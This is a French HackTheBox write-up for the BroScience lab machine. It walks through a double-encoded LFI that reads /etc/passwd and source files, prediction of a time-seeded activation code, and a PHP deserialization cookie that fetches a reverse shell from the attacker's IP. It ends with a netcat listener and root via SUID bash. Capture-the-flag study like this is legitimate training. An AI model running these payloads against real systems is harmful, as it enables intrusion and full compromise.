đ HackTheBox - BroScience
Table of contents
broscience.htb
- Difficulty: Medium
- OS: Linux
- Link: https://app.hackthebox.com/machines/BroScience
Note
Super room, j’ai beaucoup aimĂ©, un foothold que j’ai trouvĂ© assez dur avec beaucoup d’analyse de code. En revanche la privesc est beaucoup trop facile, mais globalement c’Ă©tait cool đ
Fuzzing
nmap -sC -sV broscience.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-01 19:19 CET
Nmap scan report for broscience.htb (10.10.11.195)
Host is up (0.24s latency).
rDNS record for 10.10.11.195: BroScience.htb
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 207.62 seconds
dirb http://broscience.htb -f
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Feb 1 19:20:27 2023
URL_BASE: http://broscience.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Fine tunning of NOT_FOUND detection
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://broscience.htb/ ----
-----------------
END_TIME: Wed Feb 1 19:34:27 2023
DOWNLOADED: 4612 - FOUND: 0
Rien d’intĂ©ressant ici, on va donc se concentrer sur le site et ses fonctionnalitĂ©s
Le site a l’air d’ĂȘtre un blog sur la musculation, en allant sur un post et en regardant le code source on voit quelque chose de trĂšs Ă©trange sur l’image:
background-image: url(includes/img.php?path=bench.png);
On voit ici que l’image est importĂ©e depuis le fichier img.php
, et on voit aussi un paramĂštre path
.
Si on se rend sur l’url https://broscience.htb/includes/img.php?path=bench.png, on voit bel et bien l’image. Essayons une LFI
via le paramĂštre path
:
Foothold
?path=../../../../etc/passwd
ne fonctionne pas, le site dĂ©tecte l’attaque et nous met un message d’erreur
Ce message me fait grandement penser Ă un challenge que j’ai pu faire au paravant, je ne sait pas si il s’agit d’un WAF ou d’un filtre connu mais en tout cas je sais comment le contourner
?path=..%252F..%252F..%252F..%252Fetc%252Fpasswd
nous affiche une nouvelle page
MĂȘme si elle ne nous a pas donnĂ© le contenu du fichier que nous voulions lire, elle prouve que la LFI
a fonctionné. Un double encoding nous a donc permis de contourner le filtre.
De plus, ce message d’erreur est affichĂ© seulement car mon navigateur croit qu’il est entrain de lire une image, pour avoir le vrai contenu du fichier, il faut l’enregistrer puis le lire via un cat
par exemple.
cat img.png
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
On a bel et bien le contenu du /etc/passwd
.
Récupérons maintenant le contenu de index.php
:
?path=..%252Findex.php
<?php
session_start();
?>
<html>
<head>
<title>BroScience : Home</title>
<?php
include_once 'includes/header.php';
include_once 'includes/utils.php';
$theme = get_theme();
?>
<link rel="stylesheet" href="styles/<?=$theme?>.css">
</head>
<body class="<?=get_theme_class($theme)?>">
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-margin">
<!-- TODO: Search bar -->
<?php
include_once 'includes/db_connect.php';
// Load exercises
$res = pg_query($db_conn, 'SELECT exercises.id, username, title, image, SUBSTRING(content, 1, 100), exercises.date_created, users.id FROM exercises JOIN users ON author_id = users.id');
if (pg_num_rows($res) > 0) {
echo '<div class="uk-child-width-1-2@s uk-child-width-1-3@m" uk-grid>';
while ($row = pg_fetch_row($res)) {
?>
<div>
<div class="uk-card uk-card-default <?=(strcmp($theme,"light"))?"uk-card-secondary":""?>">
<div class="uk-card-media-top">
<img src="includes/img.php?path=<?=$row[3]?>" width="600" height="600" alt="">
</div>
<div class="uk-card-body">
<a href="exercise.php?id=<?=$row[0]?>" class="uk-card-title"><?=$row[2]?></a>
<p><?=$row[4]?>... <a href="exercise.php?id=<?=$row[0]?>">keep reading</a></p>
</div>
<div class="uk-card-footer">
<p class="uk-text-meta">Written by <a class="uk-link-text" href="user.php?id=<?=$row[6]?>"><?=htmlspecialchars($row[1],ENT_QUOTES,'UTF-8')?></a> <?=rel_time($row[5])?></p>
</div>
</div>
</div>
<?php
}
echo '</div>';
}
?>
</div>
</body>
</html>
L’index include
un db_connect.php
, récupérons aussi son contenu.
?path=..%252Fincludes%252Fdb_connect.php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
J’ai essayĂ© pas mal de choses aprĂšs ça mais je n’ai rien trouvĂ© d’utile Ă faire avec ces identifiants
Puisque nous sommes “bloquĂ©s”, nous allons tester la derniĂšre fonctionnalitĂ© du site: le login
/register
Créeons-nous un compte:
Il a bel et bien été crée, maintenant connectons nous:
Il nous dit que le compte n’est pas activĂ©, et bien Ă©videmment, je n’ai reçu aucun email.
Il va donc falloir trouver un moyen d’activer notre compte, commeçons par retourner sur le code de index.php
.
On voit qu’il include
aussi un fichier appelé utils.php
, récupérons son contenu
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
$to = (($to === null) ? (time()) : ($to));
$to = ((is_int($to)) ? ($to) : (strtotime($to)));
$from = ((is_int($from)) ? ($from) : (strtotime($from)));
$units = array
(
"year" => 29030400, // seconds in a year (12 months)
"month" => 2419200, // seconds in a month (4 weeks)
"week" => 604800, // seconds in a week (7 days)
"day" => 86400, // seconds in a day (24 hours)
"hour" => 3600, // seconds in an hour (60 minutes)
"minute" => 60, // seconds in a minute (60 seconds)
"second" => 1 // 1 second
);
$diff = abs($from - $to);
if ($diff < 1) {
return "Just now";
}
$suffix = (($from > $to) ? ("from now") : ("ago"));
$unitCount = 0;
$output = "";
foreach($units as $unit => $mult)
if($diff >= $mult && $unitCount < 1) {
$unitCount += 1;
// $and = (($mult != 1) ? ("") : ("and "));
$and = "";
$output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
$diff -= intval($diff / $mult) * $mult;
}
$output .= " ".$suffix;
$output = substr($output, strlen(", "));
return $output;
}
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>
On voit une fonction generate_activation_code()
qui semble gĂ©nĂ©rer un code d’activation qui nous est nĂ©cessaire pour activer notre compte
Nous savons comment crĂ©er un code d’activation mais nous ne savons pas oĂč l’utiliser, cette informations se trouve probablement dans le register.php
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
// Check if variables are empty
if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
// Check if passwords match
if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
// Check if email is too long
if (strlen($_POST['email']) <= 100) {
// Check if email is valid
if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
// Check if username is valid
if (strlen($_POST['username']) <= 100) {
// Check if user exists already
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
$res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
if (pg_num_rows($res) == 0) {
// Check if email is registered already
$res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
$res = pg_execute($db_conn, "check_email_query", array($_POST['email']));
if (pg_num_rows($res) == 0) {
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link.";
$alert_type = "success";
} else {
$alert = "Failed to generate a valid activation code, please try again.";
}
} else {
$alert = "An account with this email already exists.";
}
}
else {
$alert = "Username is already taken.";
}
} else {
$alert = "Maximum username length is 100 characters.";
}
} else {
$alert = "Please enter a valid email address.";
}
} else {
$alert = "Maximum email length is 100 characters.";
}
} else {
$alert = "Passwords do not match.";
}
} else {
$alert = "Please fill all fields in.";
}
}
?>
Des if
, dans des if
, dans des if
…
Dans toute cette pagaille, on trouve notre réponse
https://broscience.htb/activate.php?code={$activation_code}
Maintenant, nous n’avons plus qu’Ă crĂ©er un compte, intercĂ©pter la requĂȘte et voir la rĂ©ponse pour avoir la date exacte de crĂ©ation du compte, puis crĂ©er un code d’activation qui correspond et l’utiliser.
On garde la date de cÎté: Wed, 01 Feb 2023 19:19:02 GMT
La timestamp
correspondant Ă cette date est 1675279142
(via https://www.epochconverter.com/)
On crée un fichier .php
localement dans lequel on modifie la fonction:
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(1675279142);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
echo generate_activation_code();
?>
php code.php
bHhA2C1tpYP8066v3bwaHbXda2LP6rGn
Maintenant, plus qu’Ă visiter la page
/activate.php?code=bHhA2C1tpYP8066v3bwaHbXda2LP6rGn
pour activer le compte
J’ai pas la moindre idĂ©e de pourquoi ça a marchĂ© mais mon compte a Ă©tĂ© activĂ© sans que je n’aie rien Ă faire donc bon… mais le code aurait marchĂ© normalement et sinon il aurait fallu augmenter la timestamp
de quelques secondes puisqu’il peut y avoir eu une latence au niveau du backend.
En re-regardant le code du utils.php, on remarque cette ligne:
$up = unserialize(base64_decode($up_cookie));
Un cookie est décodé depuis du b64
puis unserialize
, on va donc pouvoir effectuer une “unserialize attack” qui va modifier la class AvatarInterface
et nous permettre d’upload un shell
On va faire un script qui va créer un faux cookie avec notre class, pour ça, il nous faut aussi le code de la class Avatar
(présent dans le utils.php
)
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "http://10.10.14.109/revshell.php";
public $imgPath = "./revshell.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
echo base64_encode(serialize(new AvatarInterface));
?>
On y met notre IP
puisqu’on va lancer un serveur pour qu’il puisse rĂ©cupĂ©rer notre revshell.php
, puis il va ensuite Ă©crire son contenu dans revshell.php
grĂące Ă la fonction save()
.
On lance le script, qui nous donne notre cookie en base64
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMjoiaHR0cDovLzEwLjEwLjE0LjEwOS9yZXZzaGVsbC5waHAiO3M6NzoiaW1nUGF0aCI7czoxNDoiLi9yZXZzaGVsbC5waHAiO30=
Avant de le mettre, il faut lancer un serveur python
avec notre revshell.php
dans le mĂȘme rĂ©pertoire
sudo python3 -m http.server 80
Dans une autre fenĂȘtre, on lance notre netcat
nc -lvnp 9001
Puis on met notre cookie, et on refresh la page
Elle va ĂȘtre horrible et toute blanche puisque c’est le cookie qui est sensĂ© permettre de gĂ©rer le theme, mais ce n’est pas grave
On visite https://broscience.htb/revshell.php pour que notre script soit executé, et on reçoit la connection sur le netcat
On peut aussi confirmer qu’il a bien lu le contenu de notre reverse shell car on voit les connections sur le serveur python
Privilege Escalation
$ export TERM=xterm
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
On commence par lister les fichiers ayant le setuid bit
et appartenant Ă root
(ces fichiers sont éxecutés avec les permissions sudo
)
find / -user root -perm -4000 2>/dev/null
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/bin/vmware-user-suid-wrapper
/usr/bin/newgrp
/usr/bin/fusermount3
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/mount
/usr/bin/ntfs-3g
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/bash
/usr/bin/chsh
/usr/libexec/polkit-agent-helper-1
/usr/bin/bash
?????
Bon, bah ça va ĂȘtre rapide hein…
man bash
-p Turn on privileged mode. In this mode, the $ENV and $BASH_ENV files are not processed, shell functions are not inherited from the environment, and the SHELâ
LOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored. If the shell is started with the effective user (group) id
not equal to the real user (group) id, and the -p option is not supplied, these actions are taken and the effective user id is set to the real user id. If the
-p option is supplied at startup, the effective user id is not reset. Turning this option off causes the effective user and group ids to be set to the real user
and group ids.
On peut donc donc Ă©xecuter la commande bash -p
pour qu’il garde les privilĂšges, cĂ d sudo
gg!